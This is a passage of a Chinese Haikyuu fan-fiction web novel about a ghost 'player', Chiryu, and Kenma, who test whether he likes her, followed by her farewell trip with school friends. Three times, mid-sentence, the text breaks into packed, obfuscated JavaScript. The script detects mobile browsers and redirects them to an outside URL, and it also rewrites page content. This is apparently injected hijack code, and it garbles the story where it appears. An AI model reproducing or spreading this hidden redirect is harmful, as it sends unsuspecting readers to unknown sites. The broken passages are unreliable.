我注意到他们虽然看起来各司其职,实则视线一直偷偷望向排球挂的一个方向。 顺着这个方向看去,我发现视线的汇聚点是一个金发脑袋,身形和研磨酷似的学生,看起来是排球部的新成员。 我戳了戳一旁的小八:“真是的,你们公司真的很偷懒。” 小八:“不许说我们公司。” 小八真是铁血公司宝,我相信所有的打工人都无法共情,我指了指背对着我的那个背影:“怎么这个金发男生的建模看起来跟研磨一模一样,还说不偷懒。” 小八沿着我的手看过去,它反驳的语气一顿,表情莫名变得非常精彩,它看起来像是无法反驳,乖乖点头:“你说得对。” 我幻视一圈还是没有找到我的蘑菇力脑袋,疑惑地嘟囔着:“怎么回事,今天研磨没来学校吗,生病了?” 我打算点开系统面板查看研磨的定位,小八却抱住我的手。 “研磨今天就在学校哦。”它笑得相当乖巧,“呐,玩家要不敲字问问研磨。” 我狐疑,把抱住我手的小八抬起来,端详。 小八仍然是乖得不行的模样。 我脑海里闪过[孩子越乖越酝酿着不得了的大事的想法]:“小八,你很奇怪诶。” 小八飘来飘去:“哪有。” 我站在排球馆里等待研磨,顺手敲字。 [我到排球馆了,研磨呢?] 幽蓝色的字符串浮现在研磨的眼前,他若有所思。 [......] 省略号? 我敲下六个问号回以研磨。 我接着询问:[你有没有发现你们排球部的新成员,身形和你好像] 说不定虽然建模一样,但是在游戏人物的眼中完全不同。 研磨接着回复省略号。 [研磨怎么这样(生气)(拔刀拔刀)] 研磨放下手里的排球,转身,一眼看到了倚靠着排球馆的墙壁,原地蹦跶蹦跶在天花板和地板间窜来窜去活力满满的千流。 他打算采用[盯——]的举动,看千流什么时候才能反应过来。 身为鬼魂的设定,我常常能一蹦三尺高,在排球馆的顶端看着众人的视角与平时完全不同。 蹦跶无聊之后,我百无聊赖地等这迟迟没有来练习的研磨。 我注意到那名金黄色头发的新人已经转过身,看起来在休息,疑似在默默地看着我。 虽然我觉得他并不能看见我,但他的目光过于精准了。 我细看——怎么连脸模都与研磨一眼...... ....... 我转过身,掩面,顺手捞过可恶的坏小八,一顿蹂躏:“小八你早就发现了对吧!前面那么说都是故意的!” 小八被我揉得口齿不清,不过难掩笑意:“咕噜唔鲁。” [玩家完蛋了。] 我好想把音驹排球部挖一个洞然后把自己埋进去。 在我的脑海里音驹排球部的地板已经变成地鼠大本营了 。 我看见研磨的影子投射到我的前方。 逃避解决不了问题,我猛地转身回头。 我们的发丝相贴,我有些不好意思地后退两步,研磨看起来脸色如常,他双手抱胸,这样凑近看,研磨的个子已经稍微比我高了一些。 不得不说,金黄色的头发也很适合他,把总是焉焉的五官衬得比从前更锋利了些,或许是我心虚的错觉。 研磨看我迟迟不说话,先开口:“我是排球部的新人,请问你叫什么名字?” “Kenma”我小声,头一回这么不占理,其实是有理也说不清,不管怎么说,朋友换了个发色就认不出来这件事听起来太过离谱了。 研磨微微歪了歪脑袋:“你叫研磨的话,我也叫研磨,好巧哦。” 我双手合十,做出求饶的姿势:“好了,我错了研磨,不该认不出你。” 研磨的指尖捻起一缕发丝:“真的有这么认不出来吗?” “也没有......”我说,“只是我一下子眼神很不好。” 他拖长语调:“好伤心——” 我实在过意不去地低下脑袋,研磨轻轻的笑声传入我的耳畔。 “我没有伤心。”研磨看起来并不打算追问,“我的新发色怎么样。” “很显眼。”我坦然。 研磨:“居然听了阿虎的话。” “很好看哦。”我仔仔细细地又看了一遍,不过有一种,研磨换了个发型就变得大了好几岁的感觉,不过又有些怅然若失,“蘑古力没有了。” 研磨凑近我,拍了拍自己的头发,我愣愣地看向他。 他的表情和平时没什么不同,只是眼角微微下敛。 “蜂蜜面包。”他说。 我还是有些迷惑,一直追问着“什么蜂蜜面包”,研磨却闭口不言,耳朵可疑地变得红通通的,我追着背过身的研磨,良久,忽然恍然大悟。 “咻”地一下窜到他的面前,把研磨拦住。 研磨的话就像给我喂了两百个蜂蜜面包一样,我弯着眼睛:“蘑古力脑袋进化成蜂蜜面包了。” 我想到新头发长出来的画面:“说不定还会变成焦糖布丁。” 他不自在地撇过头:“好奇怪的称呼。” “蜂蜜面包是研磨取的!” “撤回。” “撤回无效!” 空气里奇怪地让人嗅到阵阵甜滋滋的蜂蜜味,我和研磨被放在蜜罐里突然都感到有些不自在。 我摸了摸鼻尖:“研磨一点——” 我把两个手指相贴,留下小小的空隙,“一点都不生气?” 他思索:“一开始有一些。” “但看到千流低着脑袋的时候就不会不开心了。” 我认真:“你这是不行的。” 研磨从包里拿出薄薄的白色毛巾,扣在自己的头发上,坐在排球馆的边缘:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101361|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么?” “有时候不能太心软,说不定我低下头愧疚是装的。” “那千流是装的吗?” “我又没那么坏。” “那不就好了。” 我长叹:“研磨,你绝对是朋友脑。” 不过我也是铁朋友脑。 “或许?” 研磨的语气有些迟疑,显然他没有意识到自己朋友脑的事实。 我盘点研磨朋友脑的证据,其中最大的证据就是我们迄今为止都没有吵过架,研磨也没对我生气,虽然这很大程度归结于本人千流一向和善待人,但这也是研磨朋友脑的有力证据。 我追问:“研磨,我做什么你会生气?” * 做什么会生气? 一时间,研磨的脑海里闪过很多回答。 例如千流把自己爱吃的推给别人。 不好好照顾自己,其实每次自己看出来千流没有说真心话的时候,多少是有点生气的。 但是研磨觉得还没有到争吵的地步。 毕竟关系再近的人也会保有秘密。 但前者说出来有些奇怪,总觉得对身为朋友的千流说这些话,直觉告诉他气氛会变得凝滞住。 后者又没必要说。 他只好设想了某个几乎不可能发生的场景。 “比如千流某天不告而别?” 我果断:“这当然是不可能的嘛。” 我们只会在结束攻略剧情之后告别,当然系统也会让我变成旅行青蛙一样,从世界各地给研磨送信。 更大的可能性是回忆变成数据串,被留在世界的蓝海里。 现在的我比过去几天纠结的状态更坦然了些。 * “在打游戏?”黑尾的脖子上也挂着一条毛巾,他随意地擦了把汗水,研磨的手机并没有打开游戏。 他了然:“和网友聊天。” 研磨点点头,幽灵千流也在旁边点点头,是面对面地和网友聊天。 小黑用手肘戳了戳研磨的手臂:“我最近知道了一个大事。” 研磨:“小黑,好八卦。” “怎么讲话的呢。”研磨吃了一击暴栗,小黑接着说,“藤本前辈谈恋爱了。” “哈?!!”比自己孤寡更难受的是身边的人谈恋爱,更何况是闷声干大事的藤本前辈。 我也凑上前,正所谓八卦是人的天性,我和研磨竖起耳朵听。 藤本前辈是音驹排球部难得的那种老实人的类型,不仅长得像老实人,作风也非常老实。 带小黑他们费了好大的劲。 没想到一上大学就谈上恋爱了吗。 小黑划着手机,展示藤本前辈和女朋友的合照,女生笑得一脸明媚,憨憨的藤本前辈也咧嘴笑,摸摸自己的后脑勺。 光是看着照片就好幸福。 小黑牙酸:“我还多嘴去问了藤本前辈,结果酸了一嘴。” “所以让研磨也酸一下。” 研磨冷酷:“我有什么好酸的。” 我赞同,想不到研磨谈恋爱的样子,研磨这辈子是不是只会跟游戏谈恋爱。 小黑揽住自己的双肩,抖了抖:“你先听我说。” “藤本前辈说,自己在入学的时候看到那个女生拿着超大的行李箱和几个大包,很费力的样子,所以自己就自荐帮忙。” “不过藤本前辈说自己因为很专心地搬行李,一句话都没有说,搬到电梯口之后就打算离开,结果女生要了他的line。” “聊着聊着就水到渠成地在一起了。后面这个女生告诉他,是因为藤本前辈一句话不说,专心搬行李的样子很帅。” 我也能理解,比起那种不停搭讪的人,这样的人反而更让人容易有好感。 小黑一幅——学到了的表情,接着说:“这都不是重点,重点是,藤本前辈感觉也变得很闷骚了,你懂吗,一直拽着我说一些恋爱日常。” “比如?” “比如,小情侣之间不是老是会叫对方一些甜腻的称呼吗。” 我点头。 “藤本前辈向我透露,他女朋友叫他憨憨。” 我抖成筛子,确实好甜腻。 “藤本前辈还说,他最近的烦恼是女朋友觉得他从来不生气。但他女朋友想看看生气起来的藤本前辈是什么样的。” 我疑惑,好奇怪的想法。 “喂,研磨。”小黑侧目,“怎么我说了那么长串的话,你一句话都不说。” 研磨跟刚回过神一样:“……互起称呼也蛮常见的吧,比如我叫你小黑?” “小黑那算什么。”黑尾端详一番研磨的头发,“那我叫你蜂蜜面包?honey?” 研磨默默地挪了挪身子,到离小黑两米的地方:“好可怕,小黑。” 小黑:“对啊,所以说,你叫我小黑根本不算什么吧,就比如那种昵称,不就是情侣间那么叫的吗。” 我看着他俩的互动,嘎嘎嘎地直笑。 研磨好像用十分复杂的眼神看了我一眼,我相当莫名地回望过去,比着口型:“怎么了吗?” 一脸复杂的研磨默默打开和我的频道,留下一句,“我先想想。” 小八突然在旁边发出奸笑。 它掩耳盗铃。 [我绝对没有笑玩家的意思,只是觉得有些好笑。] 34.研磨猫猫养成手札 27 * 世界三大错觉之一——她喜欢我。 这个念头从研磨心中浮现的那一秒就被他下意识的否定了。 毕竟从千流看他的表情只看得出莫名其妙的慈爱,类似于在养成游戏养崽时的表情,不过对于这位深度游戏宅来说,把看着他成长的过程当作养成游戏。 完全有可能呢。 想到这里,研磨莫名觉得有些不爽,像即将通关的boss突然开启什么隐藏机制,然后进度完全被打回重来那样。 说到底,千流不过是比他多吃了好几年的大米。 他看了眼状况外把耳朵竖得高高,专心听小黑滔滔不绝八卦的千流,萌生了一个念头。 直到小黑满意地结束话题,重振旗鼓接着跑去练排球时,研磨叫住了听完八卦后、像吃了满满一大盒大福而幸福地弯起嘴角的千流。 简直都能幻视对方身旁荡漾的小花。 研磨清了清嗓子,强制拉回自己的注意力,他竖起一根手指,就像被逗猫棒吸引一样,千流下意识把视线偏转到研磨的手指上,然后再与研磨对视。 她的脸上大写着[状况外]。 出于自己也不怎么清楚的念头,研磨一言不发地把自己的手指头晃了晃,千流的眼睛也跟着滴溜转了两圈。 她猛然回过神,八字刘海气鼓鼓地朝两边翘起:“研磨!” 研磨乖乖收回手。 “你不觉得小黑的话有些似曾相识吗?” * 什么似曾相识? 见多识广的我了然地摆手:“研磨还是少见多怪了,恋爱中的很多情侣都这样啦,起绰号什么的。” 我想到了初中时腻歪的前桌小情侣一口一个“宝贝”,忍不住感到牙酸。 “那想看看生气的对方是什么样?” 我耐心科普:“说实话,我一开始是有些想不通,不过现在稍微能够猜到一点。” “有两种可能,一种是觉得生气起来的对方一定也很可爱,很好奇。另一种可能是想要知道对方的底线之类的,免得不小心踩到别人的红线。” 研磨云淡风轻:“那千流问我的时候是哪种想法呢?” 啊嘞? 我愣神:“……那不一样。” 研磨丝毫没有谦让的意思,看起来要和我对峙到底,他向前迈进一步:“哪里不一样?” “是因为千流觉得我们不是情侣吗?” 他没有给我开口的机会:“那称呼呢,千流没有觉得小黑描述的什么腻歪行为,有种似曾相识的感觉吗?” …… 我总算明白研磨说的似曾相识是指的什么了。 慌乱间,我萌生了自我怀疑的念头。 糟糕啊,我不会是那种对养成对象有暗戳戳的不良念头,会被警察叔叔抓起来的那类不法分子吧。 偌大的锅把我砸得晕乎乎的。 我支支吾吾地想要辩解,余光里瞥见研磨隐约上扬的嘴角。 要是让傻乎乎的小八来看,它准看不出研磨在笑,但我是火眼金睛的玩家。 研磨的嘴角绝对是向上了零点五个像素点! 我慌乱的心绪一下就平整下来。 这家伙,绝对是耍坏想看我吃瘪。 按研磨的性格,要是真觉得我喜欢他,也不会这样毫不顾虑地单刀直入。 几秒钟的时间,本人,聪明的千流已经整理好了反击的策略。 我抬起头,直勾勾地看向研磨,毫不退让地站在原地:“不对哦。” “我问研磨有没有生气——是出于朋友的询问,身为朋友也会希望不要不小心踩到对方的雷点吧。” 和千流对视的时候,研磨就明白她已经反应过来了,看来自己的目标达成不了了。 一时吃瘪的千流就像是被人揉扁的纸张。 而回过神的千流则是变成吹得膨胀的气球,不需要别人朝天上抛,自己就能得意洋洋地起飞。 膨胀的气球小姐,轻飘飘的身子像放在某些店门口乱晃的那类长条气球,飘到离自己越来越近的位置。 他的身体也像被吹了口气一样,心情变得轻盈,带着自己都没有意识到的笑意:“啊,原来是这样吗。” “不止哦。”气球小姐一看就是运筹帷幄的样子。 研磨露出敬请指教的表情。 千流:“蜂蜜面包这个名称,可不是我取的。” …… 千流看着愣神的研磨,顿觉扳回一城,兴致勃勃地接着张口瞎编:“小黑叫研磨的时候,研磨明显后退了好几步吧,那研磨是出于什么心思自己取这样的名称呢?” 哼哼,明显已经被千流乱拳打倒了。 千流坏心眼地用自认——腻歪不行的语气:“蜂蜜面包?” 光是念出来也很需要勇气啊,不过呢,想到研磨听到这样的称呼绝对会被吓得后退几百步,千流就觉得美滋滋。 不过想象中的场景并没有发生,研磨和游戏中卡顿的npc一样,一动不动站在原地,脸上的表情也没带变的。 但千流总觉得他被刘海遮住的额头有些微微发红,耳垂也有一点,活像一只被烤冒烟的金黄面包。 没有见到想象中场景的千流决定使出超强劲的胡言乱语,她总结:“研磨,其实你在偷偷喜欢我吧。” 怎么说呢。 他俩不愧是旗鼓相当的对手。 千流眼睁睁地看着研磨脑袋上冒的烟像被泼了把水一样,很快熄火了,他很镇静地抬起头:“千流是这么觉得的?” 她摸了摸鼻尖:“当然!” * 我们在讨论【孤爪研磨是否喜欢江千流】,这个课题。 研磨却表现地并不像是课题的主角,当然,我也不怎么像。 他更像手持手术刀要找到病灶的医生,手里的手机就是他的手术刀。 研磨一本正经地打开某日本最大的论坛,点开搜索栏,打下【如何判断自己是否喜欢对方】。 高赞回答是【在和对方缓缓接近的近距离接触——例如很近的对视时,假如你的心脏有扑通扑通DOKIDOKI的感觉,那恭喜你,有喜欢的人了!】 研磨透亮的眼眸望向我:“要验证一下吗?” 光是看研磨这样坦荡荡的双瞳,也不像是喜欢我的样子嘛。 除非他真的超会掩饰。 但此前我的态度一向是【质疑研磨喜欢我】,在这时候抛下自己的角色,跟先胆怯投降没什么两样。 我爽快应下:“当然没问题!” 我们俩的脑袋渐渐拉近,近到他的睫毛在我的视野里根根分明,像小扇子,微微上翘。 “研磨,你的睫毛好长哦。” “嗯。” “研磨,你看得清我的睫毛吗?虽然没有你的密,不过非常长哦,我仔细观察过。” “……嗯。” 确实很长。 眨眼的时候甚至都会扫过他的眼睫,不过或许是因为凑得太近了。 “喂,研磨,然后呢?我们就这样什么也不做地睁着眼睛看来看去嘛?” “……” “你现在有什么dokidoki的感觉吗?” “……” “千流,你从刚刚开始, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118785|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话特别多。” 你知道自己很紧张的时候话会变多吗? “你嫌我话多。” “我们还要试试什么别的吗?” “头发。” “嗯?” 研磨离得更近了,呼吸洒落在我的脸颊,他垂下脑袋。 “论坛说,揉脑袋的时候也容易有那种感觉。” 我看着他低下的脑袋:“这个发帖的可能是女孩子。” “为什么?” “电视剧里,一般不是男主角摸女主的脑袋嘛。” 他抬起头,思索片刻:“那我试试?” 我否决:“现在是测试研磨是否dokidoki的时候。” 上一次,还是被孙老师揉脑袋。 或许是因为从小到大没有被长辈这么亲昵地对待过,当时的我就想永远地赖在她的身边。 但长长的路要习惯一个人走。 此外,要是被敏锐的研磨发现我其实很喜欢被人揉脑袋,简直跟被抓住把柄一样可怕。 我甩甩脑袋,决定要跟土拨鼠捍卫粮食一样,牢牢捍卫这个秘密。 “而且研磨摸不到我。” 我后知后觉。 研磨被我说服了,再次垂下脑袋。 我体会到了养猫猫的那些人的心理活动,虽然猫猫是一种偶尔有些距离感的动物,也更加矜持一些,要你帮忙顺毛的时候,它才像在家里拨弄风云的主人。 但看到它垂下脑袋。 他金黄色的发丝穿过我的指尖,像秋日明媚的阳光洒在身上那样慰帖。 我顺着发丝的引导,驻留在研磨发旋的一畔,像默契约好要停止呼吸,明明很近,却听不到我们的呼吸声。 只听到排球落地、铿然有声。 旁人的声响被巨大的罩子隔在另一个世界。 我觉得排球的响声过于急促了,催着我的动作也变得匆忙起来,我停在他上方的手轻轻落在,像羽毛落地,发丝很快就变回了原样。 我收回手。 “有没有dokidoki的感觉,研磨?” 即使收回手,我还是觉得排球的响声就在耳畔,偏头一看,排球部练习的人离这一隅格外远。 原来那是我的心跳吗? 我想捶捶不中用的心,怎么连揉别人脑袋都跳成这样。 和被孙老师抱着的时候,安心的感觉截然不同。 其实我们母胎solo的心就是容易一惊一乍。 我很快平复好,研磨的表情与平常没什么不同,想来也没和我一样在心里打排球。 “没有。”他居然还想让我胡乱使用掉宝贵的、用来套出来研磨最大秘密的测谎仪,“要不要用测谎仪看看我说的是不是真话。” 我显然没有那么好骗,一眼看穿了他的打算。 “我已经看出你说的是真话了,不要打我们测谎仪的主意。” * …… 好遗憾啊。 还想看到千流在用完测谎仪后,看到亮起的红灯时,会是什么样的表情。 还好自己足够多线程。 能在心绪被扑闪的睫毛扰乱,耳畔被絮絮的话语萦绕时,还能回复千流有一搭没一搭的话。 而心脏的轰然作响从记忆的小径里喧嚣穿过,那是不知何时的心动被忽视许久,如今毫不客气地宣告它的存在感。 被误打误撞地抓住了。 他收拾着自己的包裹,余光里是千流注视着大家的练习而大喊“这球不错嘛”的身影。 早该意识到的。 ——她长久地住在他的余光里。 35.狐狸成长日记 04 * 自从进入高三,日子就像被按下加速键一样,一天一天在题海中度过。 假期也像手指缝里流出来的水一样,少得可怜。 不过星愿等人一致决定要在近期唯一的假期一起出去玩一趟,顺便为我送行。 为期两天的超短假期,我们选在附近的一处度假小镇,以便快去快回。 当天晚上,星愿就勒令我带上自己的行李在她家住一个晚上,隔天星愿爸爸开车带我们一起去小镇。 “千流!”我循声看向衣山衣海中的她,“每一件都很好看。” 鹅黄色的长裙啪一下精准命中我的身侧,她从衣服叠成的小山里冒头:“谁问你这个了。” 还不是我因为已经陪着星愿选了半个小时出行时穿的衣服了。 不仅要好看,她还坚持要挑选和我相同的色系和款式,不过这也不算难,毕竟我们很多衣服都是一起买的。 但愣是这样她也挑挑拣拣了半个小时。 “我是说,我们要不要出去买些零食面包什么的,到时候大家一起吃。” “也可以啊。”我点头,不过大概每个人都会这么想,每次一起出去玩我们的肚皮就会鼓得跟充满的气球。 她风风火火地拽着我上街了。 刚出炉面包的香气远远地传来,我们默契地朝着那个目的地走去。 面包店的logo是一个明黄色的背景,长得很像不二家棒棒糖的女孩带着厨师帽,一只手托着蛋糕,我与星愿,“不二家的法务部还好不会到我们这来。” 我的口味和星愿类似,都偏甜口。 但我是甜度超标爱好者,即使是齁甜的食物送入嘴里我也能面不改色地咽下去。 研磨和星愿都吐槽过这件事。 我来到面包店的角落,透明柜子里少有地放着最后一个苹果派,我指了指苹果派:“姐姐,这个帮我包起来一下。” 星愿咻地一下闪现到我的身边,面露疑惑:“你什么时候爱吃酸甜口的苹果派了?” “和朋友一起吃过,感觉还不错。”回忆起来已经算在游戏里“很多年前”的事情了,我和研磨本想低调做人,殊料用积分换来的食谱做出来的甜品那么好吃…… 因此我们斩获了仅开班一年的烹饪课唯一的烹饪之星。 星愿眯起眼睛,看着显然在展开回忆的我,戳了戳我嘴角旁边的梨涡,我口齿不清:“这是在干嘛。” 她一幅严刑逼供的样子:“说,是哪个朋友。” “我们认识的人里可没有爱吃苹果派的。” 余光里服务员姐姐笑盈盈地看着打打闹闹的我们。 我解释:“是游戏里的朋友。” 星愿:“网友?” “是游戏里、的朋友。” 她放下戳着我梨涡的手:“真不懂你们游戏宅,难道看到游戏角色爱吃的东西自己就想吃了吗?” 这种事我确实做得出来。 玩星露谷的时候爱上蔓越莓,自己试着做蛋黄酱,还好奇现实中的啤酒花是长什么样的…… 但是。 “才不是看的。”我嘟囔,“是我自己做的,还尝过,我告诉过星愿的吧。” 这回轮到我的优势局,毕竟把朋友分享过的事情忘得一干二净,这可是大不敬之事。 重则是要用手指头下跪赔罪的。 “我和星愿说过好多次那个游戏里的事情,比如我在里面学会做苹果派,有一个很合得来的好朋友,不过星愿一次都记不住。” 我装作很是伤感地垂头拭泪。 悄眯眯地迅速抬头一看,她的眼神果然闪烁不定,心虚地不知道该说些什么。 我笑着抬起头:“罚你吃三喜家的草莓奶芙。” 她灰败:“那简直是甜得想吐。” 我们在店员姐姐欢送的目光下拎着大包小包的面包和罐装小零食离开了面包店。 * 由于度假小镇并不是什么热门的旅游胜地,位置也比较偏僻寂静,一大早我们踏上第一班中巴的时候,上了年纪的司机大叔就跟我们打赌,今天早上我们准是包车了。 宋元和章昊热络地和大叔聊了起来。 宋元:“大叔预判得好准,真的只有我们几个人。” “那是。”还未开车,司机大叔依靠着车门,“我可是开了十几年车的老司机了。” 章昊:“司机大叔,小镇附近有什么值得玩的地方吗?” 司机摩挲着下巴,灵光一闪:“有一个月牙湖,还怪漂亮的嘞,我还知道一个绝佳的观景地,那里有一排躺椅,可以躺着吹风看星星,不错吧。” 我们把手掌拍得比鼓还响,司机大叔被我们哄得朗声大笑,他热心肠地打算给我们指路。 “我想想该怎么描述……”司机大叔的视野里出现了一张地图,百宝箱郑茵依旧可靠。 大叔爽朗地画了个圈:“就在这周围了。” “小伙子小姑娘们坐在位置上,系好安全带,我们发车了!” “好!!” “呐,跟春游一样呢。”我拍了拍自己的肩膀,示意星愿靠在我的肩膀上。 她有些晕车,一发车就两眼冒金光,我们这一侧的窗户被拉开,飒飒的风搅乱头发。 我把耳机戴在她的一只耳朵上,点开纯音乐,她皱起的眉头微微舒展,随着一摇一晃的中巴渐渐睡去。 晕车的人和不晕车的人坐车完全是两种体验。 在小群里,另外三人已经热火朝天地开了一把斗地主,偶尔还会传来章昊扼制不住的叹息声,一听就是一手好牌没能打赢。 他们把战绩发在群里。 遥遥领先的郑茵赢了一百来分,我视线向下,宋元零分,而章昊则是输个精光。 我们一致在群里刷屏。 [章昊好菜] * 好菜的章昊是我们五人中方向感最强的。 在利益驱使下,我们不得不违心地在群里刷起了[章昊最牛]。 夜晚将至,我们一致决定到大叔推荐的月牙湾探险。 “嘛,真是的。”星愿嘟囔,“这条路真的是对的嘛。” 我们俨然走进了荒芜人烟的小径,灌木丛长得都能掩住我的脑袋,宋元转过头:“小心点。” “谢谢。” 郑茵笑着说道:“还真有探险的感觉。” “…不会遇上大黑熊吧。”章昊夸张地说道。 “…怎么会遇到那种东西。”虽然嘴上这么说,星愿还是加快了脚步。 所幸,大黑熊和迷路的情况完全没有出现,我们在小径的尽头找到了大叔推荐的观景地。 七八个躺椅一字排开,我率先大字形地躺在上面,走了这段山路的疲惫一扫而空。 我闭上眼睛,身边除了风声什么声音也没有,这么安静可不是他们的风格。 我睁开眼,四张大脸笑着看着我,从这个角度来看实属诡异。 我下意识:“我投降。” “投降无效。”星愿一声令下,四人拉开了拉炮,彩色的飘带把我淹没。 “祝愿千流考试顺利。”郑茵细心地拿手帕帮我把撒到脸边的彩带拍开。 “祝大家高考顺利。” 我想,我的眼睛应该笑得比月牙还弯。 “接下来是送礼物环节。” 难得是星愿大小姐负责主持流程,她意有所指,“某人非要我加入什么单独祝福环节,我勉为其难答应了。” 她说:“没轮到送礼物的人就先去湖边看风景吧。” 她们像约好了一样,几只腿一蹬就跑到了湖边,兴致勃勃地对着波光粼粼的湖面指指点点了起来。 我倒也不会迟钝到这样也不明白接下来会发生什么事。 宋元有些紧张地摸了摸脑袋,从包里拿出一个小礼盒,蓝色的礼盒和他的手掌差不多大。 还未等我开口,他率先说道:“让我先说完吧。” “祝你考试顺利,考上东大,一路顺风。” “谢谢。” “接下来是我的一点私心。” 他深吸一口气,一只手握紧了外套的右侧:“从高二下的时候,我就发现自己忍不住看向你。” “后面才发现那是喜欢。” “我想说的是喜欢上你是一件很开心的事,高一的时候我虽然成绩还算不错,但总是三心二意,没学多久就忍不住和昊子讲话,但喜欢上你之后就想跟上你的节奏。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133440|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“所以学习效率也接着提高了。” “后来才知道你为什么这么压缩自己的时间…”他仰头,直直地看着我,随后在我慌乱的目光下板正地鞠了个躬。 …… 他后知后觉抬起头:“好像表白不是这么做的。” 确实,就像是在感谢恩师一样。 我忍不住噗呲一笑,随后郑重地说:“抱歉。” “早就猜到了,也没有抱多大的期望。”他笑着,“不过还是蛮伤心的。” 他连忙摆手:“不许说抱歉了。” “好了,我去叫他们送礼物。” 我打开礼物,里面躺着一只墨绿色的钢笔,笔身上刻着[万事顺意]。 郑茵和章昊一并走来。 他们一脸了然的表情。 章昊:“别担心,我和宋元彻夜谈心一番,准保他重振旗鼓。” 郑茵:“别明天早上起不来。” 她说:“我们俩不像他们两个,要说什么悄悄话。” 郑茵的礼物是健康食谱:“有胃病的话,去日本念书也要好好照顾自己。” 章昊:“这不是显得我很不细心。” 不,相当细心。 他给我送了一整盒防狼喷雾,还意图要教给我使用方法,不过被郑茵摁住了。 姗姗来迟的星愿开口就不饶人:“看宋元的表情就知道他表白失败了。” 她一脸得意:“我早说他对你有意思吧。不过那家伙人也蛮好的,虽然我觉得全世界所有男的配你都不行,如果是宋元的话我勉强能接受。” “不过还是你喜欢最重要。” 她斟酌着自己的用词:“别被我知道你喜欢上什么鸟人。” “鸟人是什么称呼啊。”我忍不住吐槽。 我伸手:“礼物。” 她扭捏地把一个袋子放到我的手上,我从里面掏出来一个编织玩偶,是小狐狸。 不过小狐狸好像左边肥一点,右边瘦一点,我歪歪脑袋对比着。 她:“敢说难看你就完了。” 果然是自己做的。 我大声:“超好看啊!” 星愿赶紧捂住我的嘴:“说那么大声干嘛。” “星愿哪来的时间织的。” “我有的是时间。” 我才不信,为了冲击高考,这家伙可是连早读课的时间也不跟我窃窃私语了。 “都变成大熊猫了。”我指了指她的黑眼圈。 她怒道:“我才没变丑。” 真不知道星愿的脑子怎么长的,我无奈:“是心疼啊。” 她头上的火苗立马被浇灭了。 我好奇:“为什么是狐狸?” “因为千流跟狐狸一样狡猾。”她说,“不过出门在外,希望你接着狡猾下去,别被什么日本的猫猫狗狗叼走了。” 我觉得她的语文需要恶补一下,总是冷不伶仃地冒出来几句很不恰当的比喻。 “猫猫狗狗怎么叼走狐狸啊,我可是狐狸诶。” 她用审视的表情看着我:“你最好是。” “我有一种预感。” “什么预感?” “你迟早会被露出肚皮的猫骗走,这种预感。” 星愿再三强调她的预感一向很准。 随后,她询问:“接下来是专心准备留学生考试吧。” “会搬的离集中补习的地方近一点。” “还记得我们的约法三章吗?” 我竖起三根手指:“第一,按时吃饭,不要过度学习。” “第二,钱充足的情况下不要出去打工了,怕我累死。” “第三,每周末都要准时给我们星愿打电话。” 她这才满意地点点头。 * 不得不说,司机大叔对这一带的风景确实了如指掌,从这个观景地望向天空,周围的山与树木恰好把天空围成月牙的形状,与月牙湖遥相辉映。 我们在天上月与湖中月之间。 一向最靠谱的郑茵突然对着湖水大喊:“我们要做一辈子朋友!” 她喊完,洁白的脸瞬间爬上红晕,我们心领神会,齐刷刷地对着湖水大喊: “要做一辈子的朋友!” 36.研磨猫猫养成手札 28 * 我没想到这款三无游戏的售后服务居然这么好。 事情是这样的,在短暂的假期结束后,我就开始着手搬家的事宜,在把大大小小的行李打包好后,我钻进了游戏舱。 一进到登录界面就发现小八在摸鱼。 它闪亮亮的眼睛盯着面前的年轮蛋糕,“咻”地一下变出一套镶金边的茶具,茶壶全自动地完成着倒水人物,小八则拿着刀叉准备大展身手。 我拉开小八对面的椅子。 小八看起来很痛心地给我切了四分之一块的年轮蛋糕,随后拿着蛋糕盒子直接吃了起来。 “玩家看起来玩得很开心。”它幽幽,手指比了二“都两个晚上没有登录游戏了。” ——为了不错过关键进度,我自然在出游前开启了重要节点存档。 我询问小八:“小八,我最近打算搬家,游戏舱有什么搬运的注意事项吗?” 比如重要的核心零部件要先拆开,再套上保护套之类的。 我看向小八捧着蛋糕盒的小鬼手,似乎稍稍捏紧了些盒子,急急忙忙地叮嘱我:“千万不要随便拆开。” “我才没有那么莽撞,不就是因为这个才来咨询小八吗?” 小八抱着蛋糕盒飘来飘去,苦思冥想:“玩家填写一下取货和送货的地址和时间吧,我们公司的员工会来处理。” 这么良心吗? 我眨眨眼,一边说着“好啊”,一边招呼小八给我拿来纸笔,很快地写下这些信息。 漫不经心地和小八调侃:“小八,你们的服务这么无微不至让我很难不怀疑——” “怀疑什么?” “其实你们公司完全找不到帮忙测试的对象,只有我这家伙上当了,这样的可能性。” 